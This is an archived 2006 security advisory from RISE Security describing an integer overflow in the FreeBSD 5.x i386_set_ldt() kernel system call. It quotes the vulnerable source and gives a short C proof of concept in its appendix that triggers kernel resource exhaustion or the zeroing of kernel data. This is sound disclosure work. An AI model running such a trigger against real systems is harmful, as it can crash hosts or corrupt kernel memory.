<<< Date Index >>>     <<< Thread Index >>>

[RISE-2006002] FreeBSD 5.x kernel i386_set_ldt() integer overflow vulnerability



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

RISE-2006002
FreeBSD 5.x kernel i386_set_ldt() integer overflow vulnerability

Released: September 23, 2006
Last updated: September 23, 2006

INTRODUCTION

There exists a vulnerability within a architecture dependent function of the
FreeBSD kernel (FreeBSD 5.2-RELEASE through FreeBSD 5.5-RELEASE), which when
properly exploited can lead to local compromise of the vulnerable system.
This vulnerability was fixed in FreeBSD 6.0-RELEASE, but production (legacy)
releases 5.2 through 5.5 are still vulnerable.

DETAILS

The i386_set_ldt() system call will set a list of i386 descriptors for the
current process in its LDT. It accepts a starting selector number (start),an
array of memory that will contain the descriptors to be set (descs), and the
number of entries to set (num).
This vulnerability can be triggered by calling the i386_set_ldt() system
call,
(available to user through sysarch() system call), with the start
argument set
to a low integer value, descs set to a value different than null and num
set to
a high unsigned integer value, resulting in an integer overflow in
largest_ld
and descs_size (lines 533 and 540), which will result in the consumption
of all
available operating system resources (line 541).
This vulnerability can be also triggered by setting the start argument
to a low
integer value, descs set to null and num set to a high unsigned integer
value,
resulting in an integer overflow in largest_ld (line 515), which will
result in
in the erase of operating system sensitive data (lines 519 and 520).
This is part of the vulnerable function from FreeBSD 5.5-RELEASE.

476 static int
477 i386_set_ldt(td, args)
478         struct thread *td;
479         char *args;
480 {
481         int error = 0, i;
482         int largest_ld;
483         struct mdproc *mdp = &td->td_proc->p_md;
484         struct proc_ldt *pldt = 0;
485         struct i386_ldt_args ua, *uap = &ua;
486         union descriptor *descs, *dp;
487         int descs_size;
488
489         if ((error = copyin(args, uap, sizeof(struct
i386_ldt_args))) < 0)
490                 return(error);
491
492 #ifdef  DEBUG
493         printf("i386_set_ldt: start=%d num=%d descs=%p\n",
494             uap->start, uap->num, (void *)uap->descs);
495 #endif
496
497         if (uap->descs == NULL) {
498                 /* Free descriptors */
499                 if (uap->start == 0 && uap->num == 0) {
500                         /*
501                          * Treat this as a special case, so userland
needn't
502                          * know magic number NLDT.
503                          */
504                         uap->start = NLDT;
505                         uap->num = MAX_LD - NLDT;
506                 }
507                 if (uap->start <= LUDATA_SEL || uap->num <= 0)
508                         return (EINVAL);
509                 mtx_lock_spin(&sched_lock);
510                 pldt = mdp->md_ldt;
511                 if (pldt == NULL || uap->start >= pldt->ldt_len) {
512                         mtx_unlock_spin(&sched_lock);
513                         return (0);
514                 }
515                 largest_ld = uap->start + uap->num;
516                 if (largest_ld > pldt->ldt_len)
517                         largest_ld = pldt->ldt_len;
518                 i = largest_ld - uap->start;
519                 bzero(&((union descriptor
*)(pldt->ldt_base))[uap->start],
520                     sizeof(union descriptor) * i);
521                 mtx_unlock_spin(&sched_lock);
522                 return (0);
523         }
524
525         if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {
526                 /* complain a for a while if using old methods */
527                 if (ldt_warnings++ < NUM_LDT_WARNINGS) {
528                         printf("Warning: pid %d used static ldt
allocation.\n",
529                             td->td_proc->p_pid);
530                         printf("See the i386_set_ldt man page for
more info\n");
531                 }
532                 /* verify range of descriptors to modify */
533                 largest_ld = uap->start + uap->num;
534                 if (uap->start >= MAX_LD ||
535                     uap->num < 0 || largest_ld > MAX_LD) {
536                         return (EINVAL);
537                 }
538         }
539
540         descs_size = uap->num * sizeof(union descriptor);
541         descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);
542         if (descs == NULL)
543                 return (ENOMEM);
544         error = copyin(uap->descs, descs, descs_size);
545         if (error) {
546                 kmem_free(kernel_map, (vm_offset_t)descs, descs_size);
547                 return (error);
548         }
549

A little proof of concept code that triggers this vulnerability can be found
in appendix section of this document.

VENDOR

Vendor was notified, as this is not a critical vulnerability, proper
corrections
should be available soon.

CREDITS

This vulnerability was discovered by Adriano Lima
<adriano@xxxxxxxxxxxxxxxx>,
further research by Rodrigo Rubira Branco <rodrigo@xxxxxxxxxxxxxxxx>.

DISCLAIMER

The authors reserve the right not to be responsible for the topicality,
correctness, completeness or quality of the information provided in this
document. Liability claims regarding damage caused by the use of any
information
provided, including any kind of information which is incomplete or
incorrect,
will therefore be rejected.

APPENDIX

bsd-x86-ldt.c

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
}


Best regards,
RISE Security
www.risesecurity.org
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQFFFTdfhFjK78TGSUERAmnaAJ9jQjnsd0Y14fufjmGQeU1AklLaGgCfRojA
btClpgXCtyMtxd6IY7Y5eoE=
=ygAT
-----END PGP SIGNATURE-----